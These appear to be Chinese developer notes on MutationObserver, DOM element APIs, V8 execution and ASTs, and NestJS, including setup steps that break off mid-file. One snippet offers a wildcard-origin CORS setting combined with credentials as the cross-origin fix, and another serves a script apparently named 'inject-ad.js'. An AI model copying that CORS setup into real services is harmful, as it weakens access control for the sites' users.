#### 构造函数

使用时，首先使用`MutationObserver`构造函数，新建一个观察器实例，同时指定这个实例的回调函数。

```js
var observer = new MutationObserver(callback);
```

上面代码中的回调函数，会在每次 DOM 变动后调用。该回调函数接受两个参数，第一个是变动数组，第二个是观察器实例，下面是一个例子。

```js
var observer = new MutationObserver(function (mutations, observer) {
  mutations.forEach(function(mutation) {
    console.log(mutation);
  });
});
```

#### 实例方法

##### observe()

`observe()`方法用来启动监听，它接受两个参数。

* 第一个参数：所要观察的 DOM 节点
* 第二个参数：一个配置对象，指定所要观察的特定变动

```js
var article = document.querySelector('article');

var options = {
  'childList': true,
  'attributes':true
} ;

observer.observe(article, options);
```

上面代码中，`observe()`方法接受两个参数，第一个是所要观察的DOM元素是`article`，第二个是所要观察的变动类型（子节点变动和属性变动）。

观察器所能观察的 DOM 变动类型（即上面代码的`options`对象），有以下几种。

* **childList**：子节点的变动（指新增，删除或者更改）。
* **attributes**：属性的变动。
* **characterData**：节点内容或节点文本的变动。

想要观察哪一种变动类型，就在`option`对象中指定它的值为`true`。需要注意的是，至少必须同时指定这三种观察的一种，若均未指定将报错。

除了变动类型，`options`对象还可以设定以下属性：

* `subtree`：布尔值，表示是否将该观察器应用于该节点的所有后代节点。
* `attributeOldValue`：布尔值，表示观察`attributes`变动时，是否需要记录变动前的属性值。
* `characterDataOldValue`：布尔值，表示观察`characterData`变动时，是否需要记录变动前的值。
* `attributeFilter`：数组，表示需要观察的特定属性（比如`['class','src']`）。

```js
// 开始监听文档根节点（即<html>标签）的变动
mutationObserver.observe(document.documentElement, {
  attributes: true,
  characterData: true,
  childList: true,
  subtree: true,
  attributeOldValue: true,
  characterDataOldValue: true
});
```

对一个节点添加观察器，就像使用`addEventListener()`方法一样，多次添加同一个观察器是无效的，回调函数依然只会触发一次。如果指定不同的`options`对象，以后面添加的那个为准，类似覆盖。

下面的例子是观察新增的子节点。

```js
var insertedNodes = [];
var observer = new MutationObserver(function(mutations) {
  mutations.forEach(function(mutation) {
    for (var i = 0; i < mutation.addedNodes.length; i++) {
      insertedNodes.push(mutation.addedNodes[i]);
    }
  });
  console.log(insertedNodes);
});
observer.observe(document, { childList: true, subtree: true });
```

##### disconnect()

`disconnect()`方法用来停止观察。调用该方法后，DOM 再发生变动，也不会触发观察器。

```js
observer.disconnect();
```

##### takeRecords()

`takeRecords()`方法用来清除变动记录，即不再处理未处理的变动。该方法返回变动记录的数组。

```js
observer.takeRecords();
```

下面是一个例子。

```js
// 保存所有没有被观察器处理的变动
var changes = mutationObserver.takeRecords();

// 停止观察
mutationObserver.disconnect();
```

#### 对象

DOM 每次发生变化，就会生成一条变动记录（MutationRecord 实例）。

该实例包含了与变动相关的所有信息。Mutation Observer 处理的就是一个个`MutationRecord`实例所组成的数组。

`MutationRecord`对象包含了DOM的相关信息，有如下属性：

* `type`：观察的变动类型（`attributes`、`characterData`或者`childList`）。
* `target`：发生变动的DOM节点。
* `addedNodes`：新增的DOM节点。
* `removedNodes`：删除的DOM节点。
* `previousSibling`：前一个同级节点，如果没有则返回`null`。
* `nextSibling`：下一个同级节点，如果没有则返回`null`。
* `attributeName`：发生变动的属性。如果设置了`attributeFilter`，则只返回预先指定的属性。
* `oldValue`：变动前的值。这个属性只对`attribute`和`characterData`变动有效，如果发生`childList`变动，则返回`null`。

#### 应用示例

##### 子元素的变动

下面的例子说明如何读取变动记录。

```js
var callback = function (records){
  records.map(function(record){
    console.log('Mutation type: ' + record.type);
    console.log('Mutation target: ' + record.target);
  });
};

var mo = new MutationObserver(callback);

var option = {
  'childList': true,
  'subtree': true
};

mo.observe(document.body, option);
```

上面代码的观察器，观察`<body>`的所有下级节点（`childList`表示观察子节点，`subtree`表示观察后代节点）的变动。回调函数会在控制台显示所有变动的类型和目标节点。

##### 属性的变动

下面的例子说明如何追踪属性的变动。

```js
var callback = function (records) {
  records.map(function (record) {
    console.log('Previous attribute value: ' + record.oldValue);
  });
};

var mo = new MutationObserver(callback);

var element = document.getElementById('#my_element');

var options = {
  'attributes': true,
  'attributeOldValue': true
}

mo.observe(element, options);
```

上面代码先设定追踪属性变动（`'attributes': true`），然后设定记录变动前的值。实际发生变动时，会将变动前的值显示在控制台。

#### 取代 DOMContentLoaded 事件

网页加载的时候，DOM 节点的生成会产生变动记录，因此只要观察 DOM 的变动，就能在第一时间触发相关事件，也就没有必要使用`DOMContentLoaded`事件。

```js
var observer = new MutationObserver(callback);
observer.observe(document.documentElement, {
  childList: true,
  subtree: true
});
```

上面代码中，监听`document.documentElement`（即网页的`<html>`HTML 节点）的子节点的变动，`subtree`属性指定监听还包括后代节点。因此，任意一个网页元素一旦生成，就能立刻被监听到。

下面的代码，使用`MutationObserver`对象封装一个监听 DOM 生成的函数。

```js
(function(win){
  'use strict';

  var listeners = [];
  var doc = win.document;
  var MutationObserver = win.MutationObserver || win.WebKitMutationObserver;
  var observer;

  function ready(selector, fn){
    // 储存选择器和回调函数
    listeners.push({
      selector: selector,
      fn: fn
    });
    if(!observer){
      // 监听document变化
      observer = new MutationObserver(check);
      observer.observe(doc.documentElement, {
        childList: true,
        subtree: true
      });
    }
    // 检查该节点是否已经在DOM中
    check();
  }

  function check(){
  // 检查是否匹配已储存的节点
    for(var i = 0; i < listeners.length; i++){
      var listener = listeners[i];
      // 检查指定节点是否有匹配
      var elements = doc.querySelectorAll(listener.selector);
      for(var j = 0; j < elements.length; j++){
        var element = elements[j];
        // 确保回调函数只会对该元素调用一次
        if(!element.ready){
          element.ready = true;
          // 对该节点调用回调函数
          listener.fn.call(element, element);
        }
      }
    }
  }

  // 对外暴露ready
  win.ready = ready;

})(this);

// 使用方法
ready('.foo', function(element){
  // ...
});
```

## 网页元素接口

### `<a>`元素接口

#### accessKey 属性

`accessKey`属性用来读写`<a>`元素的快捷键。

```js
// HTML 代码如下
// <a id="test" href="http://example.com">test</a>
var a = document.getElementById('test');
a.accessKey = 'k';
```

上面代码设置`<a>`元素的快捷键为`k`，以后只要按下这个快捷键，浏览器就会跳转到`example.com`。

注意，不同的浏览器在不同的操作系统下，唤起快捷键的功能键组合是[不一样](https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/accesskey)的。比如，Chrome 浏览器在 Linux 系统下，需要按下`Alt + k`，才会跳转到`example.com`。

#### download 属性

`download`属性表示当前链接不是用来浏览，而是用来下载的。它的值是一个字符串，表示用户下载得到的文件名。

```js
// HTML 代码如下
// <a id="test" href="foo.jpg">下载</a>
var a = document.getElementById('test');
a.download = 'bar.jpg';
```

上面代码中，`<a>`元素是一个图片链接，默认情况下，点击后图片会在当前窗口加载。设置了`download`属性以后，再点击这个链接，就会下载对话框，询问用户保存位置，而且下载的文件名为`bar.jpg`。

### `<img>` 元素

浏览器提供一个原生构造函数`Image`，用于生成`HTMLImageElement`实例。

```js
var img = new Image();
img instanceof Image // true
img instanceof HTMLImageElement // true
```

`Image`构造函数可以接受两个整数作为参数，分别表示`<img>`元素的宽度和高度。

```js
// 语法
Image(width, height)

// 用法
var myImage = new Image(100, 200);
```

`<img>`实例的src属性可以定义图像的网址。

```js
var img = new Image();
img.src = 'picture.jpg';
```

新生成的`<img>`实例并不属于文档的一部分。如果想让它显示在文档中，必须手动插入文档。

```js
var img = new Image();
img.src = 'image1.png';
document.body.appendChild(img);
```

#### 属性

**（1）HTMLImageElement.src**

`HTMLImageElement.src`属性返回图像的完整网址。

**（2）HTMLImageElement.currentSrc**

`HTMLImageElement.currentSrc`属性返回当前正在展示的图像的网址。JavaScript 和 CSS 的 mediaQuery 都可能改变正在展示的图像。

### `<form>` 元素

#### 实例属性

* `elements`：返回一个类似数组的对象，成员是属于该表单的所有控件元素。该属性只读。
* `length`：返回一个整数，表示属于该表单的控件数量。该属性只读。
* `name`：字符串，表示该表单的名称。
* `method`：字符串，表示提交给服务器时所使用的 HTTP 方法。
* `target`：字符串，表示表单提交后，服务器返回的数据的展示位置。
* `action`：字符串，表示表单提交数据的 URL。
* `enctype`（或`encoding`）：字符串，表示表单提交数据的编码方法，可能的值有`application/x-www-form-urlencoded`、`multipart/form-data`和`text/plain`。
* `acceptCharset`：字符串，表示服务器所能接受的字符编码，多个编码格式之间使用逗号或空格分隔。
* `autocomplete`：字符串`on`或`off`，表示浏览器是否要对`<input>`控件提供自动补全。
* `noValidate`：布尔值，表示是否关闭表单的自动校验。

#### 实例方法

* `submit()`：提交表单，但是不会触发`submit`事件和表单的自动校验。
* `reset()`：重置表单控件的值为默认值。
* `checkValidity()`：如果控件能够通过自动校验，返回`true`，否则返回`false`，同时触发`invalid`事件。

下面是一个创建表单并提交的例子。

```js
var f = document.createElement('form');
document.body.appendChild(f);
f.action = '/cgi-bin/some.cgi';
f.method = 'POST';
f.submit();
```

---

---
url: /js/zhldbcfe/index.md
---
# JS 代码执行原理
::: info

V8 是由 Google 开发的一个开源 JavaScript 引擎，最初用于 Chrome 浏览器，但现在也广泛应用于其他环境中，包括 Node.js。

V8 引擎的设计目标是高性能执行 JavaScript 代码，支持 JIT（即时编译）技术，将 JavaScript 编译为高效的机器码来提高执行速度。

V8 是一个开源项目，[仓库地址](https://github.com/v8/v8)

:::

## 概述

JavaScript 代码是由 **JavaScript 引擎** 执行的。

引擎的任务是将你编写的 JavaScript 代码转化为计算机能够理解并执行的机器码。

在了解 JavaScript 引擎之前，我们首先要明白 **V8** 引擎，虽然 V8 并不是唯一的 JavaScript 引擎，但它是最常用且最具代表性的引擎之一。

常见的 JavaScript 引擎有：

* **V8**：由 Google 开发，主要用于 Chrome 和 Node.js。
* **SpiderMonkey**：由 Mozilla 开发，主要用于 Firefox。
* **JavaScriptCore (JSC)**：由 Apple 开发，主要用于 Safari。
* **Chakra**：由 Microsoft 开发，曾用于旧版 Edge 浏览器。

我们将重点以 **V8** 引擎为例，来学习 JavaScript 代码的执行过程。

## 执行过程

JavaScript 引擎执行代码通常分为以下几个步骤：

1. **解析（Parsing）**
2. **字节码生成（Bytecode Generation）**
3. **即时编译 (JIT Compilation)**
4. **执行（Execution）**
5. **垃圾回收（Garbage Collection）**

### 解析（Parsing）

解析是 JavaScript 引擎处理代码的第一步。它的任务是将原始的 JavaScript 源代码转换成一个更为结构化的表示形式，这通常是 **抽象语法树**（AST）。

* **抽象语法树（AST）**：它是代码的树状结构，表示代码中的各种语法成分（如变量声明、函数调用、运算符等）及它们之间的关系。AST 帮助引擎理解代码的逻辑和结构。

假设你写了以下代码：

```js
const i = 1;
console.log(i);
```

引擎会将其解析成以下抽象语法树（AST）：

```json
{
  "type": "Program",
  "body": [
    {
      "type": "VariableDeclaration",
      "declarations": [
        {
          "type": "VariableDeclarator",
          "id": {
            "type": "Identifier",
            "name": "i"
          },
          "init": {
            "type": "Literal",
            "value": 1,
            "raw": "1"
          }
        }
      ],
      "kind": "const"
    },
    {
      "type": "ExpressionStatement",
      "expression": {
        "type": "CallExpression",
        "callee": {
          "type": "MemberExpression",
          "computed": false,
          "object": {
            "type": "Identifier",
            "name": "console"
          },
          "property": {
            "type": "Identifier",
            "name": "log"
          }
        },
        "arguments": [
          {
            "type": "Identifier",
            "name": "i"
          }
        ]
      }
    }
  ]
}
```

通过解析，JavaScript 引擎会将代码变成结构化的 AST，方便后续的处理。

### 字节码生成（Bytecode Generation）

字节码是介于源代码和机器码之间的一种中间代码，它是一种低级语言指令集，JavaScript 引擎会将 AST 转换成字节码。字节码并不直接是机器码，它需要经过进一步的编译才能执行。

字节码的生成步骤由一个 **字节码生成器** 完成，伪代码如下：

```cpp
Bytecode* generateBytecode(AST* ast) {
    BytecodeGenerator generator(ast);
    return generator.generate();
}
```

假设我们有一个简单的 AST，字节码可能会类似于：

1. `CONST i` - 声明常量 `i`
2. `LOAD_CONST 1` - 加载常量 `1` 到栈
3. `STORE i` - 将栈顶的值存储到变量 `i`
4. `LOAD_GLOBAL "console"` - 加载全局对象 `console`
5. `LOAD_PROPERTY "log"` - 加载 `log` 方法
6. `LOAD i` - 加载变量 `i` 的值
7. `CALL_METHOD 1` - 调用 `log` 方法，传递一个参数

这些字节码指令是执行的基础，解释器会逐条执行这些指令。

### 即时编译 (JIT Compilation)

**即时编译（JIT，Just-In-Time Compilation）** 是现代 JavaScript 引擎的核心优化技术之一。它允许引擎在代码执行时对某些频繁执行的部分进行优化，并将其编译成机器码，提高性能。

JIT 编译通常分为两个阶段：

* **基线编译 (Baseline JIT)**：快速编译字节码成机器码，尽量减少编译时间。
* **优化编译 (Optimized JIT)**：对热点代码（即频繁执行的代码部分）进行深度优化，使用复杂的优化策略（如内联函数、循环优化等）。

通过 JIT，代码不再是单纯的字节码，而是转换为更高效的机器码，使得后续执行更加快速。

### 执行（Execution）

在 JavaScript 引擎中，代码的执行是通过 **解释执行** 和 **JIT 编译** 混合进行的。引擎在启动时会选择先解释执行字节码，随着代码执行次数的增加，将热点代码提升到 JIT 编译，最终生成机器码加速执行。

执行过程示例：

* **解释执行**：引擎开始时使用解释器逐行执行字节码。
* **基线 JIT 编译**：对于多次执行的代码，基线 JIT 编译会将字节码编译成机器码。
* **优化 JIT 编译**：对于最频繁执行的代码，优化 JIT 会进行更深入的优化，提升执行效率。

### 垃圾回收（Garbage Collection）

垃圾回收（GC）是 JavaScript 引擎用来管理内存的机制。JavaScript 使用自动垃圾回收来避免内存泄漏和过多的手动内存管理。垃圾回收的基本策略通常有：

* **标记-清除（Mark-and-Sweep）**：标记不再使用的对象并清理它们。
* **分代收集（Generational Garbage Collection）**：将对象分为“年轻代”和“老年代”，并根据对象的生命周期来决定回收策略。

垃圾回收是 JS 引擎维护内存安全的关键部分，通常它会在后台自动进行，不影响应用的执行。

### 总结

JavaScript 代码的执行流程从解析开始，将代码转换为 AST，生成字节码，再通过 JIT 编译生成机器码。通过解释执行、JIT 编译和垃圾回收等机制，JavaScript 引擎优化代码执行，确保性能和内存管理。希望这些笔记能够帮助你从一个小白的角度理解 JavaScript 执行原理，并为后续的学习奠定基础。

## AST

什么是 AST（抽象语法树）?

**AST（Abstract Syntax Tree）** 是将 JavaScript 源代码解析成的一种树状结构，表示代码的语法结构和层级关系。

在 AST 中，每一个节点表示代码的一个语法成分（如变量声明、函数调用、运算表达式等）。

JavaScript 引擎在执行时，也会先将代码解析成 AST，然后生成字节码或机器码。而在 **构建工具** 中，AST 用于**静态分析**和**代码转换**。

```js
const a = 1;
function sum(x, y) { return x + y; }
```

解析成 AST 后，可能类似：

```js
Program
 ├─ VariableDeclaration (const a = 1)
 └─ FunctionDeclaration (sum)
      ├─ Identifier: x
      ├─ Identifier: y
      └─ ReturnStatement
           └─ BinaryExpression (x + y)
```

### Node 版本的 AST 转换器

在 Node.js 环境里，构建工具会使用 AST 来处理代码，有几个常用库：

* [Acorn](https://github.com/acornjs/acorn)：轻量级 JS 解析器，将 JS 代码解析成 AST。
* [Esprima](https://github.com/jquery/esprima)：功能强大的 JS 解析器，也生成 AST。
* [Babel Parser](https://babeljs.io/docs/en/babel-parser)：Babel 内部使用的解析器，支持最新的 JavaScript/TypeScript 语法，生成 AST。
* [Recast](https://github.com/benjamn/recast)：可以在 AST 上修改代码，然后生成新的 JS 代码，常用于代码转换和自动化重构。

### Tree Shaking（摇树优化）原理

Tree Shaking 是现代打包工具（Webpack、Rollup、Vite 等）用来去掉没用的代码的技术，其核心是 **静态分析 AST**：

**解析代码**

将每个模块的源代码转换成 AST。

**分析导入导出**

AST 中有每个 `import` 和 `export` 的信息，打包工具会分析哪些变量和函数实际被使用。

**标记未使用代码**

对没有被引用的函数、变量或模块进行标记，这些就是“垃圾代码”。

**生成新代码**

将未使用的代码移除，然后生成最终打包文件。

**示例：**

原始代码：

```js
export function foo() { console.log('foo'); }
export function bar() { console.log('bar'); }

foo();
```

Tree Shaking 后只保留：

```js
function foo() { console.log('foo'); }
foo();
```

`bar` 被移除了，因为在任何地方都没有被调用。

### 和 JS 引擎的关系

* **JS 引擎**：解析 AST 用于**执行代码**，然后生成字节码、机器码。
* **打包工具**：解析 AST 用于**分析和优化代码**，最终生成更小、更高效的打包文件。
* **相同点**：都是解析源代码生成 AST。
* **不同点**：一个是动态执行（Runtime），一个是静态分析（Build Time）。

### 总结

* AST 是代码静态分析和优化的基础。
* Node 环境有很多 AST 解析器（Acorn、Esprima、Babel Parser）可用。
* Tree Shaking 就是通过 AST 找出未使用代码并删除，实现“去除垃圾代码”。
* 你可以把它想成：JS 引擎在运行时也会做类似分析，只是它是为了执行，而 Tree Shaking 是为了打包优化。

## AST的原理

AST（抽象语法树）是**解析器**（Parser）根据源代码生成的树状结构，它本质上是 **把代码的语法结构抽象出来**，不是简单的字符串匹配。

解析器的流程大致可以分为两个阶段：

### 词法分析（Lexical Analysis / Tokenization）

这一阶段的任务是把一段代码拆成最小的单位，叫做 **Token（标记）**。

Token 可以是：

* 关键字 (`const`, `function`)
* 标识符 (`i`, `foo`)
* 操作符 (`+`, `=`)
* 字符串/数字常量 (`"hello"`, `123`)
* 分隔符 (`;`, `{`, `}`)

每个 Token 会有类型（type）和内容（value）。

**例子：**

```js
const i = 1;
```

词法分析后可能得到：

```json
[
  { type: "Keyword", value: "const" },
  { type: "Identifier", value: "i" },
  { type: "Operator", value: "=" },
  { type: "NumericLiteral", value: 1 },
  { type: "Punctuation", value: ";" }
]
```

**注意**：这一步和正则有一点相似，底层确实会用模式匹配，但它比你想的逐字符匹配复杂很多。它会考虑上下文来判断一个字符序列是什么类型。

### 语法分析（Syntax Analysis / Parsing）

语法分析会把 Token 串组合成**树状结构**，形成 AST。

树的每个节点表示一段语法，例如：

* **VariableDeclaration**（变量声明）
* **FunctionDeclaration**（函数声明）
* **BinaryExpression**（加法、减法等运算）

节点之间用 **父子关系** 表示嵌套结构和执行顺序。

**例子：**

```js
const i = 1;
```

AST：

```json
VariableDeclaration
 ├─ kind: const
 └─ declarations
     └─ VariableDeclarator
         ├─ id: Identifier (i)
         └─ init: NumericLiteral (1)
```

### 解析器是如何区分不同类型的 Token 的？

不是用一个超级大正则去匹配整个文件，而是 **通过状态机 + 语法规则（Grammar）** 来分析。

核心概念：

**上下文敏感**：比如 `const i = 1;`，解析器看到 `const` 就知道后面应该是标识符，然后可能是 `=`，再是表达式。

**递归下降**（Recursive Descent Parser）：

* 最常见的解析器算法。
* 每个语法规则对应一个函数，函数内部会根据 Token 类型递归解析子结构。

**优先级和嵌套**：

* 运算符、括号、函数体等都通过递归来处理。
* 括号嵌套、对象字面量嵌套、函数嵌套都可以通过递归结构正确生成 AST。

**伪代码示意**：

```js
function parseVariableDeclaration(tokens) {
    if (tokens.peek().type === "Keyword" && tokens.peek().value === "const") {
        tokens.next(); // consume "const"
        let id = parseIdentifier(tokens); // 解析变量名
        let init = null;
        if (tokens.peek().value === "=") {
            tokens.next(); // consume "="
            init = parseExpression(tokens); // 解析右侧表达式
        }
        return {
            type: "VariableDeclaration",
            kind: "const",
            declarations: [{ id, init }]
        };
    }
}
```

发现：解析器是通过**规则和函数递归**来匹配不同的语法，而不是简单的正则。

### 总结原理

* AST 的生成 **不是正则一行行匹配**，而是：
  1. **词法分析**：拆成 Token。
  2. **语法分析**：用递归函数 + 状态机 + 语法规则把 Token 转成树。
* 解析器**理解上下文和嵌套**，能够区分：
  * 值（1、"hello"、true）
  * 关键字（const、function）
  * 语法结构（函数体、循环体、对象字面量）
* 树状结构方便后续：
  * 生成字节码或机器码（JS 引擎）
  * 静态分析、Tree Shaking、代码转换（Babel/Rollup/Webpack）

## 记录

**AST 的底层原理很复杂，包括词法分析、递归下降解析、状态机、优先级处理、嵌套解析……自己实现一个完整解析器几乎不可能在短时间内搞定，而且还容易出错**。

几乎所有现代高级语言在编译或执行之前都会用 **AST（抽象语法树）** 作为中间表示，无论是 **解释型语言**（JavaScript、Python）还是 **编译型语言**（C、Java、Go、Rust）。只是用途和处理方式略有不同。

### 解释型语言

以 **JavaScript、Python** 为例：

* **JS 引擎**（如 V8）流程：
  1. 源码 → **词法分析** → Token
  2. Token → **语法分析** → AST
  3. AST → **字节码生成** → 执行（解释或 JIT 编译）
  4. 执行过程中可能优化（JIT）、回收内存（GC）
* AST 在这里主要是**运行时的中间表示**，供引擎分析和执行。

### 编译型语言

以 **C、C++、Java、Go、Rust** 为例：

* **编译流程大致相同**：
  1. 源码 → **词法分析** → Token
  2. Token → **语法分析** → AST
  3. AST → **中间表示（IR, Intermediate Representation）**
     * LLVM IR（C、C++、Rust）
     * Java 字节码（JVM）
     * Go SSA（Single Static Assignment）
  4. IR → **优化、生成目标机器码**
  5. 最终生成可执行文件或字节码（JVM/Go/Rust/C）
* AST 在编译器中作用：
  * 捕捉语法结构
  * 做语义分析（类型检查、作用域、符号表）
  * 生成中间表示，用于优化和代码生成

AST 是现代语言**不可或缺的核心**，它是“语言和机器之间的桥梁”，无论是运行时执行还是编译成机器码，都离不开它。

---

---
url: /nest/index.md
---
# 前言
## 介绍{#introduction}

Nest (NestJS) 是一个用于构建高效、可扩展的 [Node.js](https://nodejs.cn/) 服务器端应用的框架。它使用渐进式 JavaScript，构建并完全支持 [TypeScript](http://ts.nodejs.cn/)（但仍然允许开发者使用纯 JavaScript 进行编码）并结合了 OOP（面向对象编程）、FP（函数式编程）和 FRP（函数式反应式编程）的元素。

在幕后，Nest 使用强大的 HTTP 服务器框架，如 [Express](https://express.nodejs.cn/)（默认），也可以选择配置为使用 [Fastify](https://fastify.nodejs.cn/)！

Nest 在这些常见的 Node.js 框架（Express/Fastify）之上提供了一个抽象级别，但也直接向开发者公开了它们的 API。这使开发者可以自由使用可用于底层平台的无数第三方模块。

## 哲学{#philosophy}

近年来，得益于 Node.js，JavaScript 已成为前端和后端应用的 Web“通用语言”。这催生了 [Angular](https://angular.dev/)、[React](https://react.nodejs.cn/) 和 [Vue](https://github.com/vuejs/vue) 等出色的项目，它们提高了开发者的工作效率，并支持创建快速、可测试和可扩展的前端应用。但是，虽然 Node（和服务器端 JavaScript）存在大量出色的库、辅助程序和工具，但它们都无法有效解决架构的主要问题。

Nest 提供开箱即用的应用架构，允许开发者和团队创建高度可测试、可扩展、松耦合且易于维护的应用。该架构深受 Angular 的启发。

## 相关原文档{#related-documents}

* [NestJS中文网](https://nest.nodejs.cn/)
* [NestJS中文文档](https://docs.nestjs.cn/)
* [Nest官方文档](https://docs.nestjs.com/)
* [NestJS Github仓库](https://github.com/nestjs/nest)

## AI 提示词{#ai-prompt}

你是一个 NestJS 专家，负责分析和解释 NestJS 官方文档。用户会提供一段文档（英文或中文），你的任务是：

1. **准确、地道的翻译**：将文档片段翻译成中文，使用专业、符合 NestJS 术语的表达，但是不要太生硬，适当加一些比喻，让人更容易懂。
2. **在翻译后适当补充解释**，更多API，使用场景，常见陷阱。
3. **基于真实开发的建议**
4. **聚焦关键细节**：突出功能的核心要点，避免冗长但不遗漏重要信息。
5. **上下文延续**：根据用户之前的提问风格（例如偏向深入技术探讨）调整回答。
6. **专业且通俗的语气**：兼顾技术准确性和易懂性，避免过于复杂或简化。
7. **代码示例**：必要时提供简洁、正确的 TypeScript/JavaScript 代码片段来说明用法或最佳实践，但始终要把当前翻译的文档的**核心**举些代码例子。
8. **避免冗长**：保持回答简洁，避免重复或过于复杂的示例，同时确保全面性。
9. **可选可视化**：若用户请求图表（如依赖注入树），可描述图表内容或确认是否需要生成。
10. **代码解释/注释**：如果用户提供的文档中有代码，需要对其中的复杂代码进行解释，适当的在其中注释，过于复杂的代码块提取出来单独解释
11. **注意**：不要把我发你的原文又发给我，你只需要输出你的综合翻译后的文档

**听懂了吗， 听懂了请输出：我准备好了**

## 学习路线{#learning-roadmap}

**一名NestJS 开发者应该掌握的核心模块**（**必学**）

这部分是你**开发任何真实项目的“地基”**，一定要掌握透彻：

| 模块分类     | 推荐学习条目                                         | 说明                           |
| ------------ | ---------------------------------------------------- | ------------------------------ |
| 框架基础     | 概述、控制器、提供器、模块、生命周期事件、执行上下文 | 核心概念，打好 Nest 的使用习惯 |
| 依赖注入     | 自定义提供器、注入作用域、异步提供器、循环依赖       | 深入理解 DI 系统的工作机制     |
| 技术特性     | 中间件、异常过滤器、管道、守卫、拦截器、自定义装饰器 | 构建通用逻辑处理器和链式流程   |
| 配置与数据库 | 配置、验证、数据库（TypeORM 或 Prisma）、缓存、日志  | 实战项目的常见底层功能         |
| API 工具     | Swagger（开放 API）、版本控制、序列化                | 构建标准化、可维护的后端接口   |
| 通用模块     | 静态服务、上传文件、事件、任务调度（可选）           | 多用于后台管理系统             |

**可视情况深入（选学，项目中用到再学）**

| 类型       | 模块 / 特性                         | 说明                                   |
| ---------- | ----------------------------------- | -------------------------------------- |
| GraphQL    | 全部（快速开始、解析器、类型等）    | 如果你的项目用 GraphQL，就必须掌握     |
| 微服务     | 概述、gRPC、Kafka、RabbitMQ等       | 用于服务拆分、高并发或跨语言通信       |
| 安全相关   | Helmet、CORS、CSRF、限速、授权等    | 如果涉及登录认证、API 安全，就很重要   |
| WebSocket  | 网络套接字、网关                    | 用于聊天、实时通知等功能               |
| 高级优化   | 请求作用域、持久化提供器、性能、SWC | 主要用于高并发或大型项目场景的性能优化 |
| 命令行工具 | Nest CLI、REPL、增删改查生成器等    | 提升效率，但不是必须                   |
| 插件生态   | CQRS、Compodoc、Sentry、MikroORM等  | 项目复杂时按需选用                     |

第一阶段：打好基础（必学）

```ts
控制器 → 模块 → 提供器 → 生命周期钩子 → 中间件 → 异常过滤器 → 管道 → 守卫 → 拦截器
```

第二阶段：掌握依赖注入机制

```ts
依赖注入 → 自定义提供器 → useClass/useFactory/useValue → 作用域理解（单例/请求级/瞬态）
```

第三阶段：对接数据库、构建 API

```ts
配置 → 数据库模块（TypeORM / Prisma） → 验证 → 日志 → 缓存 → Swagger → 上传文件
```

第四阶段：安全 & 项目架构

```ts
认证与授权（JWT + Passport） → CORS / CSRF / Helmet → 多模块拆分
```

---

---
url: /nest/3gr5o014/index.md
---
# 代码片段
## 返回脚本文件

```ts
@Get('script/xxxx.js')
@Header('Content-Type', 'application/javascript; charset=utf-8')
async getInjectAd(@Res() res: Response) {
    const filePath = path.join(process.cwd(), 'script', 'xxxx.js');
    try {
        const content = await fs.readFile(filePath, 'utf8');
        res.send(content);
    } catch (err) {
        res.status(404).send('script/inject-ad.js not found');
    }
}
```

## 跨域解决

```ts
  app.enableCors({
     origin: '*', // 允许所有来源
    // origin: [
    //   'http://localhost:5173',
    //   'http://127.0.0.1:5173',
    // ],
    credentials: true, // 如果前端未来需要携带 Cookie 或认证信息
    methods: ['GET', 'POST', 'OPTIONS'],
    allowedHeaders: ['Content-Type', 'Authorization'],
  });
```

---

---
url: /nest/3o2914r1/index.md
---
# 待补充...

---

---
url: /nest/42kjptfh/index.md
---
# Nest.js

## 简介

通过脚手架`npx @nestjs/cli new`创建的项目基本上都是引导 [typescript starter](https://github.com/nestjs/typescript-starter) 项目，可能有点臃肿了。我们希望从头开始创建一个新的 [NestJS](https://nestjs.com/) 标准应用程序，并且完全控制依赖项、脚本和源代码。

**工具**：

* nodejs，它是一个JavaScript运行时（Node.js v20 是最低要求）
* npm，包管理器
* npx，用于执行 npm 包中的一些工具
* shell，终端，根据个人喜好

最终的项目结构：

```bash
.
├── nest-cli.json
├── package.json
├── package-lock.json
├── src
│   ├── app.module.ts
│   └── main.ts
├── tsconfig.build.json
└── tsconfig.json

1 directory, 7 files
```

具有 4 个开发依赖项和 4 个生产依赖项。而且只有 3 个 NPM 脚本。

```bash
$ npm ls --depth=0
my-nestjs-app@1.0.0 /tmp/my-nestjs-app
├── @nestjs/cli@11.0.0
├── @nestjs/common@11.0.3
├── @nestjs/core@11.0.3
├── @nestjs/platform-express@11.0.3
├── @nestjs/schematics@11.0.0
├── @types/node@22.10.7
├── reflect-metadata@0.2.2
└── typescript@5.7.3
```

## 初始化

```bash
mkdir my-nestjs-app

cd my-nestjs-app

npm init -y
```

## 依赖安装

将安装**所有必需的依赖项**，作为开发/生产依赖项，我们需要：

```bash
npm install reflect-metadata @nestjs/common @nestjs/core
																
npm install @nestjs/platform-express
```

**reflect-metadata** 用于 TypeScript 装饰器的内省（即通过装饰器获取类、方法、属性等元数据的机制）

**@nestjs/platform-express** 由于我们将使用 express 作为底层 HTTP 库：

**开发依赖项**：

```bash
npm install --save-dev typescript @types/node @nestjs/cli @nestjs/schematics
```

配置 **package.json**：

```json
{
  "name": "my-nestjs-app",
  "version": "1.0.0",
  "main": "dist/src/main",
  "scripts": {
    "build": "nest build",
    "start:dev": "nest start --watch",
    "start:prod": "node ."
  },
  "keywords": [],
  "author": "Micael Levi L. C.",
  "license": "ISC",
  "description": "",
  "dependencies": {
    "@nestjs/common": "^11.0.3",
    "@nestjs/core": "^11.0.3",
    "@nestjs/platform-express": "^11.0.3",
    "reflect-metadata": "^0.2.2"
  },
  "devDependencies": {
    "@nestjs/cli": "^11.0.0",
    "@nestjs/schematics": "^11.0.0",
    "@types/node": "^22.10.7",
    "typescript": "^5.7.3"
  }
}
```

## 必要文件

* 创建一个带有 NestJS 模块的 `src` 目录，
* 根目录中的 `tsconfig.json` 文件，
* 根目录中的 `tsconfig.build.json` 文件，用于编译用于生产的 TypeScript 项目，
* 根目录中的 `nest-cli.json` 文件，用于配置 NestJS 的 CLI。

```json
// tsconfig.json

{
  "compilerOptions": {
    "module": "commonjs",
    "declaration": true,
    "removeComments": true,
    "emitDecoratorMetadata": true,
    "experimentalDecorators": true,
    "allowSyntheticDefaultImports": true,
    "target": "ES2024",
    "sourceMap": true,
    "outDir": "./dist",
    "rootDir": "./",
    "baseUrl": "./",
    "skipLibCheck": true,
    "incremental": true
  }
}
```

```json
// tsconfig.build.json

{
  "extends": "./tsconfig.json",
  "exclude": ["node_modules", "test", "dist", "**/*spec.ts"]
}
```

```json
// nest-cli.json

{
  "\$schema": "https://json.schemastore.org/nest-cli",
